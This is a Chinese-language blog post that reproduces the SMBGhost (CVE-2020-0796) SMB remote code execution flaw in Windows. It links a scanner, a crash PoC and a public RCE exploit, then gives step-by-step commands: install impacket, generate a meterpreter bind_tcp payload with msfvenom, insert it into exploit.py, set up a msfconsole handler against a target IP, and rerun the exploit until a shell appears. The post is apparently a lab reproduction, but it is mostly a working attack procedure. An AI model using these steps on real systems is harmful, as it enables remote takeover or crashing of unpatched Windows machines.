CVE-2020-0796 SMB远程代码执行漏洞复现

前言：

　　这个windows的永恒之黑漏洞，不得不复现一下啦！

　　这个漏洞诸多大佬都已经复现了，现在跟随大佬的脚步，逐个复现一下：

　　可参考：https://www.adminxe.com/1220.html

下面是漏洞复现：

　　检测poc：

　　　　使用奇安信的检测工具，检测得比较准确

　　　　http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

　　　　

　　蓝屏exp：

　　　　https://github.com/insightglacier/SMBGhost_Crash_Poc/blob/master/gistfile1.py

　　该插件需要安装impactet.git

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

sudo python3 setup.py install

　　流程：

　　

　　

　　远程代码执行exp：

　　　　https://github.com/chompie1337/SMBGhost_RCE_PoC

　　流程：

　　　　首先，在kali中执行：

msfvenom -p windows/x64/meterpreter/bind_tcp lport=7777 -f py -o exp.py

　　　　然后会生成一个exp.py

　　　　打开exp.py，把其中的内容全部复制，粘贴到exploit.py中的USER_PAYLOAD区域中去，注意，把buf替换成USER_PAYLOAD，保存

　　　　

　　　　在kali中打开msfconsole，进行监听：

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 7777
set rhost 192.168.28.192 （目标ip）
run

　　　　

　　　　运行exploit.py脚本：

python3 exploit.py -ip 192.168.28.192

　　　　该脚本虽说是远程代码执行脚本，但有可能导致目标ip死机，蓝屏，重启等后果。也有可能目标主机不受到任何影响。

　　　　如果出现physical read primitive failed，则多次尝试执行exploit.py几次，就会成功了，这个exp是有一定概率的。

　　　　

　　　　在msfconsole中，看到有shell出现：

　　　　如果没反应，则使用Ctrl+C中断连接，再次run一次。